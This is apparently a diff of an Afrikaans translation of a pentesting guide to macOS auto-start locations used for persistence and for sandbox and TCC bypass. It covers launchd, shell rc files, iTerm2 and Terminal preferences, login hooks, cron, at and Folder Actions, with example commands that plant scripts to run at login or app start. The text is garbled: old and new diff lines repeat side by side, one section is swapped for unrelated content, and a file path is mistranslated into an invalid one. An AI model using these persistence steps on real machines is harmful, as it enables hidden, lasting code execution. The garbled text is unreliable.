Hier kan jy selfbeginlokasies vind wat nuttig is vir **sandbox-omgang** wat jou toelaat om eenvoudig iets uit te voer deur dit in 'n lêer te **skryf** en te **wag** vir 'n baie **gewone aksie**, 'n bepaalde **hoeveelheid tyd** of 'n **aksie wat jy gewoonlik kan uitvoer** van binne 'n sandbox sonder om root-toestemmings te benodig.
|
||||
Hier kan jy selfbeginlokasies vind wat nuttig is vir **sandbox-oorweging** wat jou toelaat om eenvoudig iets uit te voer deur dit in 'n lêer te **skryf** en te **wag** vir 'n baie **gewone aksie**, 'n bepaalde **hoeveelheid tyd** of 'n **aksie wat jy gewoonlik kan uitvoer** van binne 'n sandbox sonder om root-toestemmings te benodig.
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
||||
* Nuttig vir omseil van sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC-omseiling: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Nuttig vir sandbox-oorweging: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC Oorweging: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Lokasies
|
||||
|
||||
|
@ -83,10 +83,10 @@ Die **hoofverskil tussen agente en duiwels is dat agente gelaai word wanneer die
|
|||
Daar is gevalle waar 'n **agent uitgevoer moet word voordat die gebruiker aanmeld**, hierdie word genoem **PreLoginAgents**. Byvoorbeeld, dit is nuttig om ondersteunende tegnologie by aanmelding te voorsien. Hulle kan ook gevind word in `/Library/LaunchAgents` (sien [**hier**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) 'n voorbeeld).
|
||||
|
||||
{% hint style="info" %}
|
||||
Nuwe Daemons of Agents konfigurasie lêers sal **gelaai word na die volgende herlaai of deur gebruik te maak van** `launchctl load <target.plist>` Dit is **ook moontlik om .plist lêers sonder daardie uitbreiding te laai** met `launchctl -F <file>` (toggaplêre sal egter nie outomaties gelaai word na herlaai nie).\
|
||||
Dit is ook moontlik om **te ontlas** met `launchctl unload <target.plist>` (die proses wat daardeur aangedui word, sal beëindig word),
|
||||
Nuwe Daemons of Agents konfigurasie lêers sal **gelaai word na die volgende herlaai of deur gebruik te maak van** `launchctl load <target.plist>` Dit is **ook moontlik om .plist lêers sonder daardie uitbreiding te laai** met `launchctl -F <file>` (egter sal daardie plist lêers nie outomaties gelaai word na herlaai nie).\
|
||||
Dit is ook moontlik om **te ontlas** met `launchctl unload <target.plist>` (die proses wat daarna verwys word, sal beëindig word),
|
||||
|
||||
Om **te verseker** dat daar nie **iets** (soos 'n oorskrywing) is wat 'n **Agent** of **Daemon** **verhoed om** **uitgevoer te word** nie, hardloop: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
|
||||
Om **te verseker** dat daar nie **iets** (soos 'n oorskrywing) is wat 'n **Agent** of **Daemon** **verhoed** **om** **uitgevoer te word** voer uit: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
|
||||
{% endhint %}
|
||||
|
||||
Lys alle agents en daemons wat deur die huidige gebruiker gelaai is:
|
||||
|
@ -94,7 +94,7 @@ Lys alle agents en daemons wat deur die huidige gebruiker gelaai is:
|
|||
launchctl list
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Indien 'n plist deur 'n gebruiker besit word, selfs al is dit in 'n daemon-stelselwyde gids, sal die taak as die gebruiker uitgevoer word en nie as root nie. Dit kan sommige voorreg-escalatie-aanvalle voorkom.
|
||||
Indien 'n plist deur 'n gebruiker besit word, selfs al is dit in 'n daemon-stelselwyde gids, sal die taak as die gebruiker uitgevoer word en nie as root nie. Dit kan sommige voorregskaleringaanvalle voorkom.
|
||||
{% endhint %}
|
||||
|
||||
### skulpaanvang lêers
|
||||
|
@ -104,7 +104,7 @@ Uiteensetting (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https
|
|||
|
||||
* Nuttig om sandkas te omseil: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC Omseiling: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Maar jy moet 'n toepassing met 'n TCC-omseiling vind wat 'n skulpaanvang uitvoer wat hierdie lêers laai
|
||||
* Maar jy moet 'n toepassing met 'n TCC-omseiling vind wat 'n skulpaanvang lêer uitvoer wat hierdie lêers laai
|
||||
|
||||
#### Liggings
|
||||
|
||||
|
@ -124,13 +124,13 @@ Uiteensetting (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https
|
|||
* `/etc/profile` (het nie gewerk nie)
|
||||
* `~/.profile` (het nie gewerk nie)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **Trigger**: Verwag om met xterm te aktiveer, maar dit **is nie geïnstalleer** nie en selfs nadat dit geïnstalleer is, word hierdie fout gegooi: xterm: `DISPLAY is not set`
|
||||
* **Trigger**: Verwag om met xterm te aktiveer, maar dit **is nie geïnstalleer nie** en selfs nadat dit geïnstalleer is, word hierdie fout gegooi: xterm: `DISPLAY is not set`
|
||||
|
||||
#### Beskrywing & Uitbuiting
|
||||
|
||||
Wanneer 'n skulpaanvang-omgewing soos `zsh` of `bash` geïnisieer word, **word sekere aanvangslêers uitgevoer**. macOS gebruik tans `/bin/zsh` as die verstekskul. Hierdie skul word outomaties benader wanneer die Terminal-toepassing geopen word of wanneer 'n toestel via SSH benader word. Alhoewel `bash` en `sh` ook teenwoordig is in macOS, moet hulle uitdruklik aangeroep word om gebruik te word.
|
||||
Wanneer 'n skulpaanvangomgewing soos `zsh` of `bash` geïnisieer word, **word sekere aanvanglêers uitgevoer**. macOS gebruik tans `/bin/zsh` as die verstekskul. Hierdie skul word outomaties benader wanneer die Terminal-toepassing geopen word of wanneer 'n toestel via SSH benader word. Alhoewel `bash` en `sh` ook teenwoordig is in macOS, moet hulle uitdruklik aangeroep word om gebruik te word.
|
||||
|
||||
Die manbladsy van zsh, wat ons kan lees met **`man zsh`** het 'n lang beskrywing van die aanvangslêers.
|
||||
Die manbladsy van zsh, wat ons kan lees met **`man zsh`** het 'n lang beskrywing van die aanvanglêers.
|
||||
```bash
|
||||
# Example executino via ~/.zshrc
|
||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||
|
@ -149,7 +149,7 @@ Die konfigurasie van die aangeduide uitbuiting en uitlog en inlog of selfs herla
|
|||
#### Ligging
|
||||
|
||||
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
|
||||
* **Trigger**: Heropen toepassings
|
||||
* **Trigger**: Heropen toepassings tydens herlaai
|
||||
|
||||
#### Beskrywing & Uitbuiting
|
||||
|
||||
|
@ -159,7 +159,7 @@ Om dus die heropen toepassings jou eie een te laat begin, moet jy net **jou toep
|
|||
|
||||
Die UUID kan gevind word deur daardie gids te lys of met `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
|
||||
|
||||
Om die toepassings wat heropen sal word te kontroleer, kan jy doen:
|
||||
Om die toepassings wat heropen sal word te kontroleer, kan jy die volgende doen:
|
||||
```bash
|
||||
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
|
||||
#or
|
||||
|
@ -188,9 +188,9 @@ Om **'n toepassing by hierdie lys te voeg** kan jy gebruik:
|
|||
|
||||
#### Beskrywing & Uitbuiting
|
||||
|
||||
In **`~/Library/Preferences`** word die voorkeure van die gebruiker in die Toepassings gestoor. Sommige van hierdie voorkeure kan 'n konfigurasie hê om **ander toepassings/scripts uit te voer**.
|
||||
In **`~/Library/Preferences`** word die voorkeure van die gebruiker in die Toepassings gestoor. Sommige van hierdie voorkeure kan 'n konfigurasie hê om **ander toepassings/skripte uit te voer**.
|
||||
|
||||
Byvoorbeeld, die Terminal kan 'n bevel by die Begin uitvoer:
|
||||
Byvoorbeeld, die Terminal kan 'n bevel uitvoer by die Begin:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (676).png" alt="" width="495"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -210,9 +210,11 @@ Hierdie konfigurasie word weerspieël in die lêer **`~/Library/Preferences/com.
|
|||
}
|
||||
[...]
|
||||
```
|
||||
Dus, as die plist van die voorkeure van die terminal in die stelsel oorskryf kan word, kan die **`open`** funksionaliteit gebruik word om **die terminal te open en daardie bevel uit te voer**.
|
||||
So, as die plist van die voorkeure van die terminal in die stelsel oorskryf kan word, kan die **`open`** funksionaliteit gebruik word om **die terminal te open en daardie bevel uit te voer**.
|
||||
|
||||
Dit kan vanaf die opdraggelynstelsel bygevoeg word met:
|
||||
Jy kan dit van die opdraggelyns doen met:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Add
|
||||
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
|
||||
|
@ -229,7 +231,7 @@ Dit kan vanaf die opdraggelynstelsel bygevoeg word met:
|
|||
* TCC omseiling: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Terminal gebruik om FDA-toestemmings van die gebruiker te hê
|
||||
|
||||
#### Ligging
|
||||
#### Plek
|
||||
|
||||
* **Enige plek**
|
||||
* **Trigger**: Maak Terminal oop
|
||||
|
@ -293,7 +295,7 @@ Uiteensetting: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](ht
|
|||
|
||||
Volgens die vorige uiteensettings is dit moontlik om **sekere klankinvoegtoepassings saam te stel** en hulle te laai.
|
||||
|
||||
### QuickLook-invoegtoepassings
|
||||
### QuickLook Invoegtoepassings
|
||||
|
||||
Uiteensetting: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
|
||||
|
||||
|
@ -313,7 +315,7 @@ Uiteensetting: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theev
|
|||
|
||||
QuickLook-invoegtoepassings kan uitgevoer word wanneer jy die **voorbeeld van 'n lêer' aktiveer** (druk die spatiebalk met die lêer gekies in Finder) en 'n **invoegtoepassing wat daardie lêertipe ondersteun** geïnstalleer is.
|
||||
|
||||
Dit is moontlik om jou eie QuickLook-invoegtoepassing saam te stel, dit in een van die vorige ligginge te plaas om dit te laai en dan na 'n ondersteunde lêer te gaan en spasiëring te druk om dit te aktiveer.
|
||||
Dit is moontlik om jou eie QuickLook-invoegtoepassing saam te stel, dit in een van die vorige ligginge te plaas om dit te laai en dan na 'n ondersteunde lêer te gaan en die spatiebalk te druk om dit te aktiveer.
|
||||
|
||||
### ~~Aanmelding/Afmelding Hake~~
|
||||
|
||||
|
@ -328,10 +330,10 @@ Dit het nie vir my gewerk nie, nie met die gebruiker LoginHook nie of met die ro
|
|||
|
||||
#### Ligging
|
||||
|
||||
* Jy moet in staat wees om iets soos `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` uit te voer
|
||||
* Jy moet iets soos `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` kan uitvoer
|
||||
* Geleë in `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||
|
||||
Hulle is verouderd maar kan gebruik word om opdragte uit te voer wanneer 'n gebruiker aanmeld.
|
||||
Hulle is verouderd maar kan gebruik word om bevele uit te voer wanneer 'n gebruiker aanmeld.
|
||||
```bash
|
||||
cat > $HOME/hook.sh << EOF
|
||||
#!/bin/bash
|
||||
|
@ -341,7 +343,7 @@ chmod +x $HOME/hook.sh
|
|||
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
|
||||
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
|
||||
```
|
||||
Hierdie instelling word gestoor in `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist`
|
||||
Hierdie instelling word gestoor in `/Gebruikers/$GEBRUIKER/Biblioteek/Voorkeure/com.apple.loginwindow.plist`
|
||||
```bash
|
||||
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
|
||||
{
|
||||
|
@ -360,36 +362,36 @@ defaults delete com.apple.loginwindow LogoutHook
|
|||
```
|
||||
Die root-gebruiker een is gestoor in **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
||||
|
||||
## Voorwaardelike Sandbox Oorspring
|
||||
## Voorwaardelike Sandbox Omgang
|
||||
|
||||
{% hint style="success" %}
|
||||
Hier kan jy beginlokasies vind wat nuttig is vir **sandbox-oorbrugging** wat jou toelaat om eenvoudig iets uit te voer deur dit in 'n lêer te **skryf** en **nie baie algemene toestande** te verwag soos spesifieke **geïnstalleerde programme, "ongewone" gebruiker** aksies of omgewings.
|
||||
Hier kan jy beginlokasies vind wat nuttig is vir **sandbox omgang** wat jou toelaat om eenvoudig iets uit te voer deur dit in 'n lêer te **skryf** en **nie baie algemene toestande** te verwag soos spesifieke **geïnstalleerde programme, "ongewone" gebruiker** aksies of omgewings.
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
||||
|
||||
* Nuttig om sandbox te omseil: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Nuttig vir omgang met sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Jy moet egter in staat wees om die `crontab` binêre lêer uit te voer
|
||||
* Of wees root
|
||||
* TCC-oorbrugging: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* TCC omgang: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Lokasie
|
||||
|
||||
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
||||
* Root benodig vir direkte skryftoegang. Geen root nodig as jy `crontab <lêer>` kan uitvoer nie
|
||||
* **Trigger**: Afhanklik van die cron-werk
|
||||
* **Trigger**: Afhanklik van die cron taak
|
||||
|
||||
#### Beskrywing & Uitbuiting
|
||||
|
||||
Lys die cron-werk van die **huidige gebruiker** met:
|
||||
Lys die cron take van die **huidige gebruiker** met:
|
||||
```bash
|
||||
crontab -l
|
||||
```
|
||||
Jy kan ook al die cron take van die gebruikers sien in **`/usr/lib/cron/tabs/`** en **`/var/at/tabs/`** (benodig root).
|
||||
|
||||
In MacOS kan verskeie folders gevind word wat skripte met **sekere frekwensie** uitvoer in:
|
||||
In MacOS kan verskeie folders gevind word wat skripte met **sekere frekwensie** uitvoer:
|
||||
```bash
|
||||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
|
@ -407,7 +409,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.
|
|||
|
||||
* Nuttig om sandboks te omseil: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC omseiling: [✅](https://emojipedia.org/check-mark-button)
|
||||
* iTerm2 het voorheen TCC-toestemmings gehad
|
||||
* iTerm2 het voorheen TCC-toestemmings verleen
|
||||
|
||||
#### Liggings
|
||||
|
||||
|
@ -429,23 +431,19 @@ EOF
|
|||
|
||||
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
||||
```
|
||||
### macOS Auto Start Locations
|
||||
### macOS Automatiese Beginplekke
|
||||
|
||||
#### Launch Agents
|
||||
Hier is 'n lys van plekke waar programme kan begin as 'n gebruiker inlog op 'n macOS-stelsel:
|
||||
|
||||
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
1. **/Library/LaunchAgents/**
|
||||
2. **/Library/LaunchDaemons/**
|
||||
3. **/Library/StartupItems/**
|
||||
4. **/System/Library/LaunchAgents/**
|
||||
5. **/System/Library/LaunchDaemons/**
|
||||
6. **/System/Library/StartupItems/**
|
||||
7. **~/Library/LaunchAgents/**
|
||||
|
||||
#### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/`.
|
||||
|
||||
#### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||
|
||||
#### Startup Items
|
||||
|
||||
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||
Dit is belangrik om hierdie plekke te monitor en te verseker dat slegs goedgekeurde programme daar begin.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -470,7 +468,7 @@ Die iTerm2-voorkeure geleë in **`~/Library/Preferences/com.googlecode.iterm2.pl
|
|||
|
||||
Hierdie instelling kan in die iTerm2-instellings gekonfigureer word:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
En die bevel word weerspieël in die voorkeure:
|
||||
```bash
|
||||
|
@ -498,7 +496,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Hoogs waarskynlik dat daar **ander maniere is om die iTerm2-voorkeure** te misbruik om willekeurige bevele uit te voer.
|
||||
Dit is hoogs waarskynlik dat daar **ander maniere is om die iTerm2-voorkeure te misbruik** om willekeurige bevele uit te voer.
|
||||
{% endhint %}
|
||||
|
||||
### xbar
|
||||
|
@ -517,7 +515,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
|
|||
|
||||
#### Beskrywing
|
||||
|
||||
As die gewilde program [**xbar**](https://github.com/matryer/xbar) geïnstalleer is, is dit moontlik om 'n skulpskrip te skryf in **`~/Library/Application\ Support/xbar/plugins/`** wat uitgevoer sal word wanneer xbar begin:
|
||||
As die gewilde program [**xbar**](https://github.com/matryer/xbar) geïnstalleer is, is dit moontlik om 'n skulpskrip te skryf in **`~/Library/Application\ Support/xbar/plugins/`** wat uitgevoer sal word wanneer xbar begin word:
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
|
||||
#!/bin/bash
|
||||
|
@ -541,9 +539,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
|
||||
#### Beskrywing
|
||||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) dien as 'n outomatiseringsplatform vir **macOS**, wat die **LUA-skripsingstaal** benut vir sy werksaamhede. Merkwaardig ondersteun dit die integrasie van volledige AppleScript-kode en die uitvoering van skulpskripte, wat sy skripskryfvermoëns aansienlik verbeter.
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) dien as 'n outomatiseringsplatform vir **macOS**, wat die **LUA-skripsingstaal** benut vir sy werksaamhede. Dit ondersteun veral die integrasie van volledige AppleScript-kode en die uitvoering van skulpskripte, wat sy skripskundigheid aansienlik verbeter.
|
||||
|
||||
Die toepassing soek na 'n enkele lêer, `~/.hammerspoon/init.lua`, en wanneer dit begin word die skrip uitgevoer.
|
||||
Die toepassing soek na 'n enkele lêer, `~/.hammerspoon/init.lua`, en wanneer dit begin word, sal die skrip uitgevoer word.
|
||||
```bash
|
||||
mkdir -p "$HOME/.hammerspoon"
|
||||
cat > "$HOME/.hammerspoon/init.lua" << EOF
|
||||
|
@ -552,35 +550,35 @@ EOF
|
|||
```
|
||||
### BetterTouchTool
|
||||
|
||||
* Nuttig om sandboks te omseil: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Nuttig om sanderblok te omseil: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Maar BetterTouchTool moet geïnstalleer wees
|
||||
* TCC omseiling: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Dit vra om Toestemming vir Automatisering-Snelkoppeling en Toeganklikheid
|
||||
* Dit vra vir Automatisering-Kortpaaie en Toeganklikheidsregte
|
||||
|
||||
#### Ligging
|
||||
|
||||
* `~/Library/Application Support/BetterTouchTool/*`
|
||||
|
||||
Hierdie instrument maak dit moontlik om aansoeke of skripte aan te dui wat uitgevoer moet word wanneer sekere snelkoppeling gedruk word. 'n Aanvaller kan sy eie **snelkoppeling en aksie om in die databasis uit te voer** configureer om arbitrêre kode uit te voer (‘n snelkoppeling kan net wees om net ‘n sleutel te druk).
|
||||
Hierdie instrument maak dit moontlik om aansoeke of skripte aan te dui om uit te voer wanneer sekere kortpaaie gedruk word. 'n Aanvaller kan sy eie **kortpad en aksie om in die databasis uit te voer** configureer om dit arbitêre kode uit te voer ( 'n kortpad kan net wees om 'n sleutel te druk).
|
||||
|
||||
### Alfred
|
||||
|
||||
* Nuttig om sandboks te omseil: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Nuttig om sanderblok te omseil: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Maar Alfred moet geïnstalleer wees
|
||||
* TCC omseiling: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Dit vra om Toestemming vir Automatisering, Toeganklikheid en selfs Volle-Skyf toegang
|
||||
* Dit vra vir Automatisering, Toeganklikheid en selfs Volle-Skyf-toegangregte
|
||||
|
||||
#### Ligging
|
||||
|
||||
* `???`
|
||||
|
||||
Dit maak dit moontlik om werksvloei te skep wat kode kan uitvoer wanneer sekere voorwaardes bereik word. Potensieel is dit moontlik vir ‘n aanvaller om ‘n werksvloei-lêer te skep en Alfred dit te laat laai (dit is nodig om die premium weergawe te betaal om werksvloei te gebruik).
|
||||
Dit maak dit moontlik om werksvloei te skep wat kode kan uitvoer wanneer sekere voorwaardes bereik word. Potensieel is dit moontlik vir 'n aanvaller om 'n werksvloei-lêer te skep en Alfred te maak om dit te laai (dit is nodig om die premie weergawe te betaal om werksvloeie te gebruik).
|
||||
|
||||
### SSHRC
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
|
||||
* Nuttig om sandboks te omseil: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Nuttig om sanderblok te omseil: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Maar ssh moet geaktiveer en gebruik word
|
||||
* TCC omseiling: [✅](https://emojipedia.org/check-mark-button)
|
||||
* SSH gebruik om FDA-toegang te hê
|
||||
|
@ -590,11 +588,11 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
|
|||
* **`~/.ssh/rc`**
|
||||
* **Trigger**: Aanteken via ssh
|
||||
* **`/etc/ssh/sshrc`**
|
||||
* Wortel nodig
|
||||
* Wortel benodig
|
||||
* **Trigger**: Aanteken via ssh
|
||||
|
||||
{% hint style="danger" %}
|
||||
Om ssh aan te skakel, vereis Volle Skyf Toegang:
|
||||
Om ssh aan te skakel, is Volle Skyf-toegang benodig:
|
||||
```bash
|
||||
sudo systemsetup -setremotelogin on
|
||||
```
|
||||
|
@ -602,9 +600,9 @@ sudo systemsetup -setremotelogin on
|
|||
|
||||
#### Beskrywing & Uitbuiting
|
||||
|
||||
Standaard, tensy `PermitUserRC no` in `/etc/ssh/sshd_config`, wanneer 'n gebruiker **inlog via SSH** die skripte **`/etc/ssh/sshrc`** en **`~/.ssh/rc`** uitgevoer sal word.
|
||||
Standaard, tensy `PermitUserRC no` in `/etc/ssh/sshd_config`, wanneer 'n gebruiker **inlog via SSH** sal die skripte **`/etc/ssh/sshrc`** en **`~/.ssh/rc`** uitgevoer word.
|
||||
|
||||
### **Inlog Items**
|
||||
### **Aanteken Items**
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
|
||||
|
||||
|
@ -612,18 +610,18 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.
|
|||
* Maar jy moet `osascript` met argumente uitvoer
|
||||
* TCC omseiling: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Lokasies
|
||||
#### Plekke
|
||||
|
||||
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
|
||||
* **Trigger:** Inlog
|
||||
* **Trigger:** Aanteken
|
||||
* Uitbuitingslading gestoor deur **`osascript`** te roep
|
||||
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
||||
* **Trigger:** Inlog
|
||||
* **Trigger:** Aanteken
|
||||
* Wortel vereis
|
||||
|
||||
#### Beskrywing
|
||||
|
||||
In Sisteemvoorkeure -> Gebruikers & Groepe -> **Inlog Items** kan jy **items vind wat uitgevoer moet word wanneer die gebruiker inlog**.\
|
||||
In Sisteemvoorkeure -> Gebruikers & Groepe -> **Aanteken Items** kan jy **items vind wat uitgevoer moet word wanneer die gebruiker aanteken**.\
|
||||
Dit is moontlik om hulle te lys, by te voeg en te verwyder vanaf die opdraglyn:
|
||||
```bash
|
||||
#List all items:
|
||||
|
@ -649,11 +647,11 @@ As jy 'n **ZIP**-lêer as 'n **Aanmeldingsitem** stoor, sal die **`Archive Utili
|
|||
|
||||
### By
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
|
||||
Beskrywing: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
|
||||
|
||||
* Nuttig om sandboks te omseil: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Nuttig om sandput te omseil: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Maar jy moet **`at`** **uitvoer** en dit moet **geaktiveer** wees
|
||||
* TCC omseiling: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* TCC-omseiling: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Plek
|
||||
|
||||
|
@ -661,7 +659,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.
|
|||
|
||||
#### **Beskrywing**
|
||||
|
||||
`at` take is ontwerp vir **skedulering van eenmalige take** om uitgevoer te word op sekere tye. Anders as cron take, word `at` take outomaties verwyder na uitvoering. Dit is noodsaaklik om te let dat hierdie take volhoubaar is oor stelselherlaaiers, wat hulle potensiële sekuriteitskwessies onder sekere omstandighede maak.
|
||||
`at` take is ontwerp vir **skedulering van eenmalige take** om uitgevoer te word op sekere tye. Anders as cron take, word `at` take outomaties verwyder na uitvoering. Dit is noodsaaklik om te let dat hierdie take volhoubaar is oor stelselherlaaiers, wat hulle potensiële veiligheidskwessies onder sekere omstandighede maak.
|
||||
|
||||
Standaard is hulle **uitgeschakel** maar die **root**-gebruiker kan **hulle aktiveer** met:
|
||||
```bash
|
||||
|
@ -677,7 +675,7 @@ sh-3.2# atq
|
|||
26 Tue Apr 27 00:46:00 2021
|
||||
22 Wed Apr 28 00:29:00 2021
|
||||
```
|
||||
Bokant kan ons twee geskeduleerde take sien. Ons kan die besonderhede van die taak afdruk deur `at -c JOBNOMMER` te gebruik.
|
||||
Bokant kan ons twee geskeduleerde take sien. Ons kan die besonderhede van die taak afdruk deur `at -c JOBNUMMER` te gebruik.
|
||||
```shell-session
|
||||
sh-3.2# at -c 26
|
||||
#!/bin/sh
|
||||
|
@ -731,8 +729,8 @@ As ons die taaklêer druk, vind ons dat dit dieselfde inligting bevat as wat ons
|
|||
|
||||
### Voueraksies
|
||||
|
||||
Verslag: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
Verslag: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
Bespreking: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
Bespreking: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
|
||||
* Nuttig om sandput te omseil: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Maar jy moet in staat wees om `osascript` met argumente te roep om **`System Events`** te kontak om Voueraksies te kan konfigureer
|
||||
|
@ -754,7 +752,7 @@ Voueraksies is skripte wat outomaties geaktiveer word deur veranderinge in 'n vo
|
|||
Om Voueraksies op te stel, het jy opsies soos:
|
||||
|
||||
1. Die skep van 'n Voueraksie-werkvloei met [Automator](https://support.apple.com/guide/automator/welcome/mac) en dit installeer as 'n diens.
|
||||
2. 'n Skrip handmatig aan te heg via die Voueraksies-opstelling in die konteksmenu van 'n vouer.
|
||||
2. 'n Skrip handmatig aanheg deur die Voueraksies-opstelling in die konteksmenu van 'n vouer.
|
||||
3. Die gebruik van OSAScript om Apple Event-boodskappe na die `System Events.app` te stuur vir die programmatiese opstel van 'n Voueraksie.
|
||||
* Hierdie metode is veral nuttig om die aksie in die stelsel in te bed, wat 'n vlak van volharding bied.
|
||||
|
||||
|
@ -768,11 +766,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt");
|
|||
app.doShellScript("mkdir /tmp/asd123");
|
||||
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
||||
```
|
||||
Om die bogenoemde skrips bruikbaar te maak vir Map Aksies, kompileer dit met:
|
||||
Om die bogenoemde skrips bruikbaar te maak deur Maphandeling, kompileer dit met:
|
||||
```bash
|
||||
osacompile -l JavaScript -o folder.scpt source.js
|
||||
```
|
||||
